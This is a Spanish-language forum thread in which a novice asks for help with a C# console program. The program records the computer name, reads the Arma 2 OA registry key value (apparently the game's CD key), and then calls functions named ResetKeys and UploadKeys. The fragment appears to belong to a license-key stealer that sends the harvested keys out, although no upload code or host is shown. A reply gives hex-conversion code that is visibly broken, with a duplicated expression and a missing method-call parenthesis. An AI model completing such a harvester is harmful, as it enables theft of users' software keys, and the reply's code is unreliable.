Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: Jacablaca en 9 Noviembre 2012, 16:23 pm



Título: C# Coger valor de un Regsitro Hexadecimal
Publicado por: Jacablaca en 9 Noviembre 2012, 16:23 pm
Hola y muy buenas!

Soy nuevo en esto de la programacion pero ya llevo algun tiempo leyendo y haciendo pruebas por mi parte, pero ahora que ya se algo sobre C# me he propuesto hacer un programa en Consola. El programa basicamente lo que hace es que coge el valor de una key del registro.
En principio todo el codigo esta bien programado, el problema radica en que el valor que yo quiero coger es un valor hexadecimal y no se como hacer especificamente eso.
Para que me entiendan mejor les dejo el fragmento del codigo que se encarga de coger el valor del registro:

        static void Main(string[] args)
        {
            keys = keys + "PC Name - " + Dns.GetHostName() + "\n";
            GetKeys();
            ResetKeys();
            UploadKeys();
        }

        static void GetKeys()
        {
            RegistryKey RegKey;
            RegKey = Registry.LocalMachine.OpenSubKey("software\\wow6432node\\bohemia interactive studio\\arma 2 oa", true);
            if (RegKey == null) // does registry exist
            {
                keys = keys + "Arma 2 OA not installed\n";
            }
            else
            {
                keys = keys + "Arma 2 OA - " + RegKey.GetValue("key"); //aqui es donde esta el problema
            }
        }

Espero que me puedan ayudar.

Muchas gracias de antemano, un saludo. Jacablaca


Título: Re: C# Coger valor de un Regsitro Hexadecimal
Publicado por: Jacablaca en 9 Noviembre 2012, 19:01 pm
por favor responder  :-(


Título: Re: C# Coger valor de un Regsitro Hexadecimal
Publicado por: Keyen Night en 9 Noviembre 2012, 22:09 pm
¿Cual es el error exactamente?

Cuando usas '+' para combinar cadenas de texto estas deben ser de tipo String ambas para evitar problemas, estas obteniendo un número y el programa intenta sumar ese numero con la cadena que es String, puede ser un error, la forma correcta es:

Código
  1. keys = keys + "Arma 2 OA - " + RegKey.GetValue("key").ToString;

El valor obtenido por .GetValue es un número en forma Decimal si quieres expresarlo en Hexadecimal debes hacer ToString("X"), si el valor es soportado por Int32, déjalo Convert.ToInt32 sino coloca Int64...

Código
  1. keys = keys + "Arma 2 OA - " + keys = keys + "Arma 2 OA - " + Convert.ToInt32(RegKey.GetValue("key")).ToString("X");

No desesperes siempre alguien te contestara y cuando quieras agregar algo modifica el tema principal en vez de hacer doble post. ;)


Título: Re: C# Coger valor de un Regsitro Hexadecimal
Publicado por: Jacablaca en 9 Noviembre 2012, 22:11 pm
Gracias por tu respuesta.

Voy a probar lo que dices haber que tal  ;D

Un saludo